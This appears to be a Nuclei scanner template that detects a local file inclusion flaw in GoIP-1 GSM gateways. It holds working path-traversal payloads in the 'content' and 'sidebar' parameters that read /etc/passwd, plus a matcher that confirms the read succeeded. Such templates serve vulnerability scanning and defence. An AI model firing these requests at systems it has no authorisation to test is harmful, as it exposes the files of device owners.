id: goip-1-lfi

info:
  name: GoIP-1 GSM - Local File Inclusion
  author: gy741
  severity: high
  description: Input passed thru the 'content' or 'sidebar' GET parameter in 'frame.html' or 'frame.A100.html' not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker
    to read arbitrary files on the affected system.
  reference:
    - https://shufflingbytes.com/posts/hacking-goip-gsm-gateway/
    - http://www.hybertone.com/uploadfile/download/20140304125509964.pdf
    - http://en.dbltek.com/latestfirmwares.html
  tags: gsm,goip,lfi,iot

requests:
  - method: GET
    path:
      - "{{BaseURL}}/default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
      - "{{BaseURL}}/default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"